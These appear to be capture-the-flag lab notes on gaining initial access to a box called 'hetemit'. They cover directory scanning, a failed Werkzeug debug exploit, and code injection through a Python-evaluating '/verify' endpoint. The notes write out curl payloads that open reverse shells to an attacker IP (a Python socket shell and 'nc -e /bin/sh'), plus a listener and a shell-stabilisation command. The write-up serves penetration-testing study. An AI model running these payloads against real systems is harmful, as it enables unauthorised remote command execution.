http [Initial Access]

At port 80

At port 50000

Looking At Subdirectory:

feroxbuster -u http://$hetemit --filter-status 404

Found nothing interesting.

feroxbuster -u http://$hetemit:50000 --filter-status 404

Found one exploit for version mentioned in nmap scan. But Condition to run this exploit is that debug mode should be on.

50000/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.6.8)

Werkzeug - 'Debug Shell' Command ExecutionExploit Database

Not sure about the debug mode is on or not. Let's run this and try.

After running exploit, It says that Debug is not enabled. So, Currently we cannot run this exploit.

Checking background of website at 50000 [Working]

I can see it is running on python.

curl "http://$hetemit:50000/verify" -X POST --data "code=4*2"

when I passed data using curl. Value got evaluate. If i am getting right then this means that value is getting runned in background.

As We have Python. Let's try Python reverse shell code to try to get the shell.

curl "http://$hetemit:50000/verify" -X POST --data "code=export RHOST=\"192.168.45.230\";export RPORT=80;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"bash\")'"

This didn't give me a shell. Let's Run OS command of Python and see if it works.

We can see that the OS module is present. Then I tried to run the COmmand, and every time I ran the command, I got the value "0." I am guessing that this means that the command ran without error.

Now I will get the shell using NC. Start the Listener.

sudo rlwrap -cAr nc -lvnp 80

Then Run shell command:

curl "http://$hetemit:50000/verify" -X POST --data "code=os.system('nc $IP_KALI 80 -e /bin/sh')"

You will get the shell.

Stabalize the shell.

(command -v python && python -c 'import pty; pty.spawn("/bin/bash");') || (command -v python3 && python3 -c 'import pty; pty.spawn("/bin/bash");')